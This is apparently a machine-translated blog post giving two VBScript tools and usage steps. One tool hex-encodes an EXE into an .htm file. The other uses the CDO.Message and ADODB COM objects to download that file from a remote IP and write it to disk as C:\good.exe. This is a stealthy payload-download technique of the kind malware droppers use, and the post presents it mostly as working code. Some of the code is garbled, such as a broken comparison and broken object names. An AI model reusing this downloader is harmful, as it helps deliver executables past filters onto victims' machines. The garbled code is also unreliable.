The CDO was found when the blog backed up the script. Message can be accessed by Web downloads, which is said to be a research study that may be used as a download.
So I studied for a while. Write a rough demo.
Exe2hex.vbs//xiaolu wrote the Exe2vbs, I modified it into a direct drag-and-drop, turned to hexadecimal
================================================
Copy Code code as follows:
' Code by Xiaolu
' Change by Netpatch
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
Do While 1
Fname=arg (0)
Err.number=0
Set Ado = CreateObject ("ADODB.stream")
With Ado
. Type = 1
. Open
. LoadFromFile fname
SS =. Read
End With
If Err.number<>0 Then
If MsgBox ("File Open Error!", 1, "File2vbs") =2 then Wscript.Quit
Else
Exit Do
End If
Loop
If Fname= "" then Wscript.Quit
Set fso=createobject ("Scripting.FileSystemObject")
Set File=fso. OpenTextFile (ARG (0) & ". htm", 2, True)
File.write BIN2STR (ss)
File.close
Set fso=nothing
Ado.close
Set abo=nothing
Function Bin2str (Re)
For i = 1 to LenB (Re)
BT = AscB (MidB (Re, I, 1))
If BT < Then bin2str=bin2str& "0"
Bin2str=bin2str & Hex (BT)
Next
End Function
======================================
Download by Down.vbs
=============
[Code]
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
' Code by Netpatch
' cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject ("CDO.") Message ")
Mail1.createmhtmlbody Arg (0), 31
ss= Mail1.htmlbody
Set Mail1 = Nothing
Set rs=createobject ("ADODB. Recordset ")
L=len (ss)/2
Rs. Fields.Append "M", 205,l
Rs. Open:rs. AddNew
RS ("M") =SS&CHRB (0)
Rs. Update
Ss=rs ("M"). GetChunk (L)
Set s=createobject ("ADODB. Stream ")
With S
. Mode = 3
. Type = 1
. Open ()
. Write SS
. SaveToFile Arg (1), 2
End With
==================================
Demo.htm content when the use of exe2hex.vbs to the EXE obtained after
How to use:
1.exe2hex.vbs the exe into 16, put it on the network
2.down.vbs http://xxx/demo.htm C:\good.exe